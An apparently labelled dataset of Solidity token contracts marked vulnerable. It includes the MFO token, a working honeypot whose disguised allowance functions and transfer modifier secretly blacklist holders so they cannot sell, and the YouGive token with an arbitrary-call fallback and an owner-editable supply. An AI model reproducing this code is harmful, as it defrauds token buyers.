* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] >= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
*
* 调用过程，会检查设置的允许最大交易额
*
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
*
* 一般在智能合约的时候，避免支付过多，造成风险
*
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
*
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
*
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
*
* 操作以后是不可逆的
*
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
*
* 删除以后是不可逆的
*
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | True | [
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pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x - y;
assert(z <= x);
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x * y;
assert(x == 0 || z / x == y);
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
/**
* @title Ownable contract - base contract with an owner
*/
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
*/
function Ownable () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
/**
* @dev Accept transferOwnership.
*/
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
/**
* @title ERC223 interface
* @dev see https://github.com/ethereum/EIPs/issues/223
*/
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool success);
}
/**
* @title Standard ERC223 token
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/223
* @dev https://github.com/Dexaran/ERC223-token-standard
*/
contract StandardToken is ERC223, SafeMath{
mapping(address => uint) balances;
string public name;
string public symbol;
uint public decimals;
uint256 public totalSupply;
bool public stopped = false;
modifier isRunning {
assert(!stopped);
_;
}
// Function to access name of token .
function name() public view returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
/**
* @title YouGive contract token
* @dev
*/
contract YouGive is StandardToken, Ownable {
string public name;
string public symbol;
uint public decimals;
/* Name and symbol were updated */
event UpdatedTokenInformation(string newName, string newSymbol);
/**
* @dev Construct the token.
* @param _initialSupply How many tokens we start with
* @param _decimals Number of decimal places
* @param _name Token name
* @param _symbol Token symbol - should be all caps
* @param _addressFounder token distribution address
*/
function YouGive(uint256 _initialSupply, uint _decimals, string _name, string _symbol, address _addressFounder) public {
totalSupply = _initialSupply;
decimals = _decimals;
name = _name;
symbol = _symbol;
balances[_addressFounder] = totalSupply;
bytes memory empty;
emit Transfer(0x0, _addressFounder, balances[_addressFounder], empty);
}
function stop() public onlyOwner {
stopped = true;
}
function start() public onlyOwner {
stopped = false;
}
/**
* @dev Owner can update token information here.
*
* It is often useful to conceal the actual token association, until
* the token operations, like central issuance or reissuance have been completed.
*
* This function allows the token owner to rename the token after the operations
* have been completed and then point the audience to use the token contract.
*/
function setTokenInformation(string _name, string _symbol, uint256 totalSupply_) public onlyOwner {
name = _name;
symbol = _symbol;
totalSupply = totalSupply_;
emit UpdatedTokenInformation(name, symbol);
}
} | True | [
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|
pragma solidity ^0.6.6;
/**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract MFO is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
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1008,
102
]
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]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../lib/VotingPowerFormula.sol";
/**
* @title EdenFormula
* @dev Convert EDEN to voting power
*/
contract EdenFormula is VotingPowerFormula {
/**
* @notice Convert EDEN amount to voting power
* @dev Always converts 1-1
* @param amount token amount
* @return voting power amount
*/
function convertTokensToVotingPower(uint256 amount) external pure override returns (uint256) {
return amount;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract VotingPowerFormula {
function convertTokensToVotingPower(uint256 amount) external view virtual returns (uint256);
}
| True | [
101,
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/**
*Submitted for verification at Etherscan.io on 2020-09-30
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.6.11;
interface IERC1155 {
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
